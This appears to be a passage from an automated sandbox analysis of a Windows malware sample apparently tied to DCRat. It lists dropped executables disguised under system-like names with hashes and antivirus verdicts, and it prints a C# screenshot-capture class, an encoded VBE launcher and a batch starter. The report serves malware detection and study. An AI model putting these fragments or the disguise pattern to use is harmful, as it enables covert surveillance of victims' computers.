SHA-512:	28B66E1CB8334E806139C8B30EC3100010ABF277D9D2E5EECF99AC837FB384CA5BF76DE2549BF4FAF92614CFAA6A861ABBE75055248242D9DC392C319375A900
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 89%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....Q.....................t............... ....@.......................................................................... ..P........f........................................................................... ...............................text...&........................... ..`.rdata....... ......................@..@.data........0......................@....rsrc....f.......h..................@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\x7.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\x8.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11970048
Entropy (8bit):	7.99991923016417
Encrypted:	true
SSDEEP:	196608:W/q1EvoJ/CuntkefzRZWvIXFWNy8LvIXMhVdw4YpWD0xYY7UarqWyIYjF2kTgDlb:C6Evy/VtkeNZWQXQcJQZYI07r2IYjjgF
MD5:	0E9FEE8861C55C0EBADC5F678FBD8A9A
SHA1:	C760E5D24B60902F566529AF6DDAF2B90E319046
SHA-256:	866D6644CCCE8D86D9526EF959EE5DDD9414E35750A1A10968035063FFA694D8
SHA-512:	F3461F6E0C0004A0B56578EFD83D7FD3F79EC47AD8E0848AE14D21BB585ECBFEC9770296382F63054395E636BA911B9E4BCC3F88C0EB9B73E542AD1F5D0B869E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 89%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....Q..................................... ....@.......................................................................... ..P.................................................................................... ...............................text...&........................... ..`.rdata....... ......................@..@.data........0......................@....rsrc...............................@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\x8.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\x9.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11977216
Entropy (8bit):	7.999915092992493
Encrypted:	true
SSDEEP:	196608:WAddhK9aYTXJQYrP2C/3DBX+PMruZ8amDQ/yYLCI/3nzI/jgpymfJZHKEWy8:WAddoO4PBBOPK3aOQ/7e29ymfJZHKA8
MD5:	DD97AAB085B140B715DD1A52038E3C70
SHA1:	21A8CBFFA7C31A3AE0493B8567B528FABA5C4FE9
SHA-256:	42BE65AD4DF6BF83CE6A30C1A159921463571C32FAF372AF53A5EDAB641EA7AA
SHA-512:	7AD65E44D706E304C493895EEC33A538937DE13A13B0AF7B13BE95BE0615177D78E1EB3B8CBD06E5612DC7BCF522D2C9ABD5C6AB4EFACF20052BDF7E09BC4BA2
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....Q..................................... ....@.......................................................................... ..P.......X............................................................................ ...............................text...&........................... ..`.rdata....... ......................@..@.data........0......................@....rsrc...X...........................@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\x9.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\x10.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11985408
Entropy (8bit):	7.999933254644437
Encrypted:	true
SSDEEP:	196608:RV604HzLIbh0dwgGG/dCoeDrFj9NyL+CYqOsS1wYEkICqksEy7ptOKdvQH1HXkLZ:RVwLIWC2Jetxw+Ck1zUCPsFtDKH1349/
MD5:	7E5F18A5C7EB009E54AE4FC6127E864C
SHA1:	E9217D8F28DE469A091CE420C5F74ABD5E77AE92
SHA-256:	60F981607FDD0547FA8AFB700FBFC0CC8FCAC163BC819E36BBD859CE5594B016
SHA-512:	2A4EF3C3C13A59CA681E189B662952583F5D124BD7CB5F8690AA30C44871FDA2DB9839B55BC26E0E53AF7F0447E910D405A3693AACBD214E13A62B13F11061ED
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....Q.................................... ....@......................................................................... ..P................................................................................... ...............................text...&........................... ..`.rdata....... ......................@..@.data........0......................@....rsrc.............................@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ym2mlmby\CSCF71E4593383143BF89859CE8A82A5373.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.0900175188647823
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5grygyak7Ynqq5TPN5Dlq5J:+RI+ycuZhNrakStPNnqX
MD5:	3C307C23DFFF4C45387D6C011C69134E
SHA1:	6B1E02BB0F10722BBB605CFAB18CBEAA8C2AF442
SHA-256:	97B7A28002F19447B1F802F59B7FDBED696057D4958FD60D1338179A8A7274F5
SHA-512:	3169FA1D50EB75D381A694C6E1D96234CDA40E82185D89A2EAC60EFE5D5F3ED5BD85A8E7615DEA05DA7591B3492F1E9E96DE9D0CEB0D96B8C7A6E153151CFE02
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...y.m.2.m.l.m.b.y...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...y.m.2.m.l.m.b.y...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\ym2mlmby\ym2mlmby.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	4.154581034278981
Encrypted:	false
SSDEEP:	24:Jo4KMz04F03wykl4qk6oAuBGOUBrRmLW+7UCPa:Jo4hz0BAl4xBQ0XQCC
MD5:	C76055A0388B713A1EABE16130684DC3
SHA1:	EE11E84CF41D8A43340F7102E17660072906C402
SHA-256:	8A3CD008E86A3D835F55F8415F5FD264C6DACDF0B7286E6854EA3F5A363390E7
SHA-512:	22D2804491D90B03BB4B640CB5E2A37D57766C6D82CAF993770DCF2CF97D0F07493C870761F3ECEA15531BD434B780E13AE065A1606681B32A77DBF6906FB4E2
Malicious:	false
Preview:	.using System;..using System.Collections.Generic;..using System.Drawing;..using System.Windows.Forms;....public class Screenshot..{.. public static List<Bitmap> CaptureScreens().. {.. var results = new List<Bitmap>();.. var allScreens = Screen.AllScreens;.... foreach (Screen screen in allScreens).. {.. try.. {.. Rectangle bounds = screen.Bounds;.. using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)).. {.. using (Graphics graphics = Graphics.FromImage(bitmap)).. {.. graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size);.. }.... results.Add((Bitmap)bitmap.Clone());.. }.. }.. catch (Exception).. {.. // Handle any exceptions here.. }.. }.... return results;..

C:\Users\user\AppData\Local\Temp\ym2mlmby\ym2mlmby.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (606), with no line terminators
Category:	dropped
Size (bytes):	609
Entropy (8bit):	5.299158037773418
Encrypted:	false
SSDEEP:	12:p37Lvkmb6KOkqe1xBkrk+ikq1PqPWZE21PqpWH:V3ka6KOkqeFkq1PVE21PGA
MD5:	4D4DA0A397A448ED228F18F546BA7B2A
SHA1:	1DBD3FABDDCA4DB6A635CCB6FE58CBF615A7B7C2
SHA-256:	6196BEEB9758033CFFB4C39E43A436045C0BCE1E8DE164D35A191AF7BDED4ED0
SHA-512:	49A3E735AF6C766B3EA9DE7205A76FA5D1BA305531F2C2702B90D6D82699FAF83227E084B41CF0AA17F71582377669711DCC1A83CAB38375EB47D0D75763A7A2
Malicious:	true
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll" /out:"C:\Users\user\AppData\Local\Temp\ym2mlmby\ym2mlmby.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\ym2mlmby\ym2mlmby.0.cs"

C:\Users\user\AppData\Local\Temp\ym2mlmby\ym2mlmby.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	3.150946784423437
Encrypted:	false
SSDEEP:	48:6w7oEAtf0KhzBU/lf6mtJaN0T4KpW1ulra33q:QNz08mCO8YJK
MD5:	79BE15FBCFC0BC10C9BA1059F744340B
SHA1:	AC658A12FA7EDCD9FA8EF0A4C183AB8CF9C29585
SHA-256:	9A141C4755EB12BCF76515F856874A0C07708FA3C7A5AAAC362897366A393D40
SHA-512:	AD74627919B30D134AE5B43C144CB73B1E7ABB96D0C43EA100B87FC9E3FE6199330185E30886E4DDE4ACF55486EA07CEF5DBE16DBE39DC8533C1804851BBA286
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...wytf...........!.................&... ...@....... ....................................@..................................%..K....@.......................`....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................&......H.......<!...............................................................0..........s.....(...........8...........o.......(......(....s........(..........(......(....s....~......(....o........,...o........o....t....o........,...o.......&.....X.......i?k.......(....B.(j........9.Q...........{.........(....BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID...........#Blob...........G.........%3............................................

C:\Users\user\AppData\Local\Temp\ym2mlmby\ym2mlmby.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (711), with CRLF, CR line terminators
Category:	modified
Size (bytes):	1152
Entropy (8bit):	5.488125370800836
Encrypted:	false
SSDEEP:	24:KLcABTId3ka6KOkqeFkq1PVE21PG1Kax5DqBVKVrdFAMBJTH:2fBTkka6NkqeFkqrE2WK2DcVKdBJj
MD5:	629B4D348655D7A18D3261ABEED5CB26
SHA1:	4A4AD2F9B522C3F54DB8083FF6524F479A833562
SHA-256:	C20FA2AC8BD4BFC4F29ACE2ED4BD48E76C295E55A3048FB67684A68CB7DE8EE7
SHA-512:	C23E33CFE7AAC7F94ED2635BD666F2BD929DFC30A73210C9F56B5E97E0685613E49BC59D7CC4F0F2E28C649AC309EAB1E886ADA77B1B1F35842AD4F84960C2F5
Malicious:	false
Preview:	.C:\Users\user\AppData\Local\Temp\..........> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll" /out:"C:\Users\user\AppData\Local\Temp\ym2mlmby\ym2mlmby.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\ym2mlmby\ym2mlmby.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no lo

C:\Users\user\ShellExperienceHost.exe

Download File

Process:	C:\agentInto\fontsessionruntime.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4173824
Entropy (8bit):	7.8287711682156464
Encrypted:	false
SSDEEP:	98304:0YN5zgov0Ev1wOj0EsDvoFt5mWZ1pegLaaDQojhfASjwc:0k550zE51GaDQGfo
MD5:	6CF5F23F1C8CA3BC6342506BAAC300DA
SHA1:	18AFFB87F0E996D202F0BE3B8109701120EA3995
SHA-256:	F3EE0A31D29B515D2E0BF776507897CA3EF5605D0470ADCC4163209BA78E3445
SHA-512:	66830DA8515A32F3CF03149F0B23398265CBAD452BE1E81BFBAA2FB553E607AB498B2E6D2AF06D9EC840236C2FE7D964443ED4F2AB4D9E50BD07ECF1AA70335B
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.................v?..6.......?.. ....?...@.. ....................... @...........@...................................?.K.....?.......................@...................................................... ............... ..H............text....t?.. ...v?................. ..`.sdata.../....?..0...z?.............@....rsrc.........?.......?.............@..@.reloc........@.......?.............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\f8c8f1285d826b

Download File

Process:	C:\agentInto\fontsessionruntime.exe
File Type:	ASCII text, with very long lines (487), with no line terminators
Category:	dropped
Size (bytes):	487
Entropy (8bit):	5.837621197065401
Encrypted:	false
SSDEEP:	6:7Bx8QIauOEC8lBkDITNpSbak4F9UeMcRs3rPKj8EswplkWfLv5+Tkd9WVMcHzKB+:7By4IbjTGb1cRsbswIBv5s3KBjqXXJ
MD5:	1674C2AC24521614A0E434209D818482
SHA1:	5A864578C7FF09370EA8E85CD77FB452B140A42D
SHA-256:	B9DEBC6A141540378BC94EB725E202BC2E9DDC5E6EA0F44A9BDE3E41C3B9F1B4
SHA-512:	30CEA9920828F2D07F5D9867948679A6825A10C8EFE3FF1F3DD0D27890D9CA283C61D36CF6970FD700DF0AA3575FAB81FBEBED995337C1FBB9501753CF09BB08
Malicious:	false
Reputation:	unknown
Preview:	TV3GRNHOezNPQeChZ2cMzXqMurxp3r7iYT1fHSK1MxAmZU02mkB3k6o6oqVkZbUw1p07mgaHskABWExZ14DTqE8bo40a6jbudNutd2QFJ4L96mkk35seYBGxrZSrp9KIIPiJUD68o7Jv28eBUQgA16WbG6CEkiZKtC0rEbQ09t0a2V4s4QXYcKRL3GCXB1YGi8B0Hx73AqAHG5jvCTKTKArjuoy7Y2zIUt23TElGTdYwJKF7hRUsqF5hRcGc89eH12wWDpb8rD9qm5Zkj1aHiHcPxVm07IIU8Q5RYs31zWAmGP4VDf3HjXjtZgjsDkAj5orWAHL17iSLHzIiaQxcOAvlqL11JLxOWaqbhiV5UCJAEYmkYARwxiU53GpzQUrvvEzqJrB252HM0vgSiRdI4BbxFvib2fp9UYOAi5aq9Y05aIEHjWQ81j0umBlXIk9aMI2cggum0wIfKfX7qa1fOqIuheXgUDiZZasSPll

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Reputation:	unknown
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\agentInto\0fc9465337303e

Download File

Process:	C:\agentInto\fontsessionruntime.exe
File Type:	ASCII text, with very long lines (457), with no line terminators
Category:	dropped
Size (bytes):	457
Entropy (8bit):	5.825888340696209
Encrypted:	false
SSDEEP:	12:R/c4NJU9PnrB/3IyPKqv6gIBsmhncckL7V/n:Nc4NJSzd3IXqSJ6mUln
MD5:	9D74CA594B8CE49198B45BDEB6C0EEE9
SHA1:	8258808F9673B640757C3EAB27A6602CF51BA388
SHA-256:	B80E226F550C019F57B6AC25504B7B3BC425EB40DD7523BAF4D57847C8FA854C
SHA-512:	16A6A59CC508B37E798E6D7FC6282288E772650E3521D9755B2659F12EF3FE65BB896D4A98FD8E6BC3F9958A7C787ACFF56C664118EDEF4B7707BB69DA098CCC
Malicious:	false
Reputation:	unknown
Preview:	xwEfIu9QaRMWcm22MKUyKLuQW9cu6pAfah4QJ61RpWRRphbMEcE6EARmByJJROUuQq55rmtPSDJy4dkyhPqdlEbaQSOUxs9aCgB9mgfbsynB0driNUlBi0JLOfpZXYckDtvXblMBuOvwbajxkpGcH81MXzuH0FDTWD7HrUGmIjQUFWuy52yrS9cE2jAm1FKoKbaXccFQjeUhrhHAE5L8QWBWk3PHTeuDZlJn5WVcwiIyp5WUc9h53MXyZExjN86FtQIGXdErjsLsNNqog4pU6yJMNUO1jwPylDEYxQ684zWKAplLXJCTSmI4H52CPNIxdXHJJR0Q7qZGc8MitCeat6f85JR2Y4trrjrmibCFSwVmNCcIsTTMssDh2IO9A81D6rZ3RkAS9ZI6k2v3rIJEkh89fJuZNDET4Rqfmj1ITBNTkG69WVS2yxcZtaXHzkE5UyBSMQQHR

C:\agentInto\WinStore.App.exe

Download File

Process:	C:\agentInto\fontsessionruntime.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4173824
Entropy (8bit):	7.8287711682156464
Encrypted:	false
SSDEEP:	98304:0YN5zgov0Ev1wOj0EsDvoFt5mWZ1pegLaaDQojhfASjwc:0k550zE51GaDQGfo
MD5:	6CF5F23F1C8CA3BC6342506BAAC300DA
SHA1:	18AFFB87F0E996D202F0BE3B8109701120EA3995
SHA-256:	F3EE0A31D29B515D2E0BF776507897CA3EF5605D0470ADCC4163209BA78E3445
SHA-512:	66830DA8515A32F3CF03149F0B23398265CBAD452BE1E81BFBAA2FB553E607AB498B2E6D2AF06D9EC840236C2FE7D964443ED4F2AB4D9E50BD07ECF1AA70335B
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.................v?..6.......?.. ....?...@.. ....................... @...........@...................................?.K.....?.......................@...................................................... ............... ..H............text....t?.. ...v?................. ..`.sdata.../....?..0...z?.............@....rsrc.........?.......?.............@..@.reloc........@.......?.............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\agentInto\bMCzMxeQsb.exe

Download File

Process:	C:\agentInto\fontsessionruntime.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4173824
Entropy (8bit):	7.8287711682156464
Encrypted:	false
SSDEEP:	98304:0YN5zgov0Ev1wOj0EsDvoFt5mWZ1pegLaaDQojhfASjwc:0k550zE51GaDQGfo
MD5:	6CF5F23F1C8CA3BC6342506BAAC300DA
SHA1:	18AFFB87F0E996D202F0BE3B8109701120EA3995
SHA-256:	F3EE0A31D29B515D2E0BF776507897CA3EF5605D0470ADCC4163209BA78E3445
SHA-512:	66830DA8515A32F3CF03149F0B23398265CBAD452BE1E81BFBAA2FB553E607AB498B2E6D2AF06D9EC840236C2FE7D964443ED4F2AB4D9E50BD07ECF1AA70335B
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.................v?..6.......?.. ....?...@.. ....................... @...........@...................................?.K.....?.......................@...................................................... ............... ..H............text....t?.. ...v?................. ..`.sdata.../....?..0...z?.............@....rsrc.........?.......?.............@..@.reloc........@.......?.............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\agentInto\fd168b19609dff

Download File

Process:	C:\agentInto\fontsessionruntime.exe
File Type:	ASCII text, with very long lines (887), with no line terminators
Category:	dropped
Size (bytes):	887
Entropy (8bit):	5.894022280534973
Encrypted:	false
SSDEEP:	12:ZzLqncNnnHbVQKoWZNZlDjZ3pHJPQ2QlnHTyQTPHzakZUT71tDclITAzkXnjbEdJ:Z1d7V9NfJpHlQhXWuA71Sl0sIv033J
MD5:	E210EE5055B7E0AA3B68149EDCDE3882
SHA1:	E23F8BC93685B1040FED0D8279911FDD577B33C6
SHA-256:	847BA7DB84E4FDBDD4FE1B4040836B8BA62F3F1D4CE40BB78276FD21CF0F14C5
SHA-512:	A897FC5BD82655045FE9AA5D1B9507B96518C336CCFA699613EBEA19F255FEDA6F564EEB8E004E6D12910D5FCF88782F42AD5DF29097B5B2870D0399AAF36A84
Malicious:	false
Reputation:	unknown
Preview:	hemWhbTe0CZjRDei5fHLTVq5tCmLfhPImBn72iuwvPeUnZb5Vo7jrRjLyrnezI9TwR6QZhpXuUaD0VRTlq00jpbVccIL4P7nQLiWdLgx8kzX0fVdZU3ISItG0kx7YeceXxxpw50aKC190De7GovkWyUIbcf2XiYeHU9Drqrded8PQuPwF00ts2HjcpNUZ7ClnX2fEaPa7RG30F1rMtxhsovOMalCcWEgaWl21urolZwbwOsWxfIqKf28mnTnzM8kNjddd8zcBI6T2Tc8rOO6OYW5dmQObDzYaLNMuP3zqqoCjjGSLU6k8BWzMh90slA7Sh2rGPOcVZQiuUW4g8DGHPaYyY9MPCGEpqtBrYM5GeOivxF2LFUui40DHd2rPBMTTM3ElUMIvHAnA1nBTHBKsWfuzq3OfepER5Pj3BR02L8a3MCPz1YIACk6qIO4a8mQc5WFmEHSzKRgXE1nnoYoGgEPUS2uxWa4jr8706nvtFS0uEjmRkRwk8K51GvTLWfdtW7pF4wrBm4BNOePtQdMFnUkhCGtLTkXkzGXH3gWxjv7EIrmlfk42TXGCWICxDfrChaYIGI0uHYf2WfYVdIptpeRb9VuvdiuDD5hsTdeXtKv41Nq1trU408WCJ6IvYFRinbyb8qCAnS9fsWjvo3CvO0NEiejWVs8o3NQaZP2CpTRi91UwWWHfCfTxOu2eHpp4TUlfFJWZA9G4ipErKx98ldmY3dLoXY59oWPpQyqM9reDZYOjpLUUpqTzsNmm7sCmDGPMaYbVGx849i8eOm9LElU8DZ7CLDORo29SJCIQt8N2sY0JOIXVt0icwRJAbYKCiqPGjqVMdsbGXbPojyxDp3iyUgg12IzVyKUBJtkixL1AYbEUBfbnkG

C:\agentInto\fontsessionruntime.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\DCRatBuild.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4173824
Entropy (8bit):	7.8287711682156464
Encrypted:	false
SSDEEP:	98304:0YN5zgov0Ev1wOj0EsDvoFt5mWZ1pegLaaDQojhfASjwc:0k550zE51GaDQGfo
MD5:	6CF5F23F1C8CA3BC6342506BAAC300DA
SHA1:	18AFFB87F0E996D202F0BE3B8109701120EA3995
SHA-256:	F3EE0A31D29B515D2E0BF776507897CA3EF5605D0470ADCC4163209BA78E3445
SHA-512:	66830DA8515A32F3CF03149F0B23398265CBAD452BE1E81BFBAA2FB553E607AB498B2E6D2AF06D9EC840236C2FE7D964443ED4F2AB4D9E50BD07ECF1AA70335B
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.................v?..6.......?.. ....?...@.. ....................... @...........@...................................?.K.....?.......................@...................................................... ............... ..H............text....t?.. ...v?................. ..`.sdata.../....?..0...z?.............@....rsrc.........?.......?.............@..@.reloc........@.......?.............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\agentInto\pR9EprN9daTFn7S7o.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\DCRatBuild.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	37
Entropy (8bit):	3.9465059074343403
Encrypted:	false
SSDEEP:	3:I5RlQRJALAEn:I5EOJn
MD5:	590BAFAC5EC119E118EB63489987073C
SHA1:	43B1193A321EA8EB187D478B824B29688E2E40D4
SHA-256:	6D73104DD95EB27A2AD2B311CAB5FCD401F2AAC68CB050EFF23E2CBF752A40AC
SHA-512:	B81EDCCF58145F977C683F808FC88D599C25FAD5647E958D9DA8FC6F016C0D75EADDB44064C46EA487144873AB6648A8A70C074DC9EC4FE8F37711717CEF5685
Malicious:	true
Reputation:	unknown
Preview:	"C:\agentInto\fontsessionruntime.exe"

C:\agentInto\ygzWE.vbe

Download File

Process:	C:\Users\user\AppData\Local\Temp\DCRatBuild.exe
File Type:	data
Category:	dropped
Size (bytes):	204
Entropy (8bit):	5.713360240009253
Encrypted:	false
SSDEEP:	6:GVWvwqK+NkLzWbHa/JUrFnBaORbM5nCFHRMEK/bgABu:GVW2MCzWLauhBaORbQC9ko
MD5:	1E49F9332D5B41DDCAF97F7C284C16F8
SHA1:	AA9F15475F700366B4B22728DCE302B58401850B
SHA-256:	D569B2B96FE889CCCA95D5296D45A5B05E501BDEFBE6216D30A53267A0BCF55A
SHA-512:	1487AAD116EE07A2ABBBA90F1290657420057C98E5F7A8A8F308F497EA5176FF7BA77252CE709C84318947834637C171BB69E6DBEA9E4D9F3D8E19CA260B652B
Malicious:	false
Reputation:	unknown
Preview:	#@~^swAAAA==j.Y~q/4?t.V^~',Z.+mYn6(L+1O`r.?1.rwDRUtnVsE@#@&.U^DbwO UV+n2vFT!ZT@#@&U+DP.ktU4+^V~',Z.nmY+}8L.mYvE.?1DbwORj4.VsJ*@#@&q/4j4+Vs "EUPr/=zCT+.Yq.YK&w",3wM11[mKs.{?FWR(COJBPZ~~0Csk+FzgAAA==^#~@.

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	1218
Entropy (8bit):	2.395432437980324
Encrypted:	false
SSDEEP:	12:9X6/bTqPEFfsbmJ/YP7LWPrNK6S48l2KZt/YNT:AHq6saJQXQK6zkpQ
MD5:	329B41D15BE32D78E77D5B9BF79DB8E6
SHA1:	932A7DB6CD0C764EA530986FB4E9CE4A00822FE1
SHA-256:	815C18198E6E3B8C8BF732337E65CFBDFF75EF00007B4B4F95476D2E0E57D87F
SHA-512:	CD3BFCC128658BADC6FB28F2DC7F4ECCCA461950CCCEAD0FC55210DFE94D6EC8AED76593E359F8ACF941EAD6FA577FE70CFD4BC65CE69CB23E31FA09D568500B
Malicious:	false
Reputation:	unknown
Preview:	,gg, .. i8""8i ,dPYb, .. `8,,8' IP'`Yb .. `88' I8 8I .. dP"8, I8 8' .. dP' `8a ,ggggg, I8 dP ,gggg,gg ,gggggg, ,gggg,gg .. dP' `Yb dP" "Y8gggI8dP dP" "Y8I dP""""8I dP" "Y8I .._ ,dP' I8 i8' ,8I I8P i8' ,8I ,8' 8I i8' ,8I .."888,,____,dP,d8, ,d8' ,d8b,_ ,d8, ,d8b,,dP Y8,,d8, ,d8b,..a8P"Y88888P" P"Y8888P" 8P'"Y88P"Y8888P"`Y88P `Y8P"Y8888P"`Y8.. .. .. .. ..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.999934840895233
TrID:	Win32 Executable (generic) a (10002005/4) 99.94% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% VXD Driver (31/22) 0.00%
File name:	6tGWMkdYv4.exe
File size:	12'000'768 bytes
MD5:	34cb7fca8cb671327865d0bcf6de72bc
SHA1:	f0b1cedace31b386c893530e6dce75c2ecfef083
SHA256:	a6a27d9ba682a107558cdb16fcd50ebbe3d112c8dab38e96d5926c522781cc81
SHA512:	a09a2fd355e0e7f7a7bf0c25fee3300d7e695f1871514181aef6cb7c5d9f085f6a3003cfea423ad3c79d1b463b2dd3e323c84ae6d8e352483270ee20e520d373
SSDEEP:	196608:gcoxkLeUoO9/jmTUkXBnG9u21tvj0brnXiT8QPLaUQrsl2az0Desq3UOF2iQsmR3:rjLQO/64kBUu2vvjU2Tr+UfIaz0DgV2P
TLSH:	61C633B00A16D1EFF895697D069A9101D40ACDE93A3064E930DB38E0AD54FB9D7FD2E3
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Q..................................... ....@........................................................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x401ae1
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:
Time Stamp:	0x51BC99EC [Sat Jun 15 16:44:28 2013 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
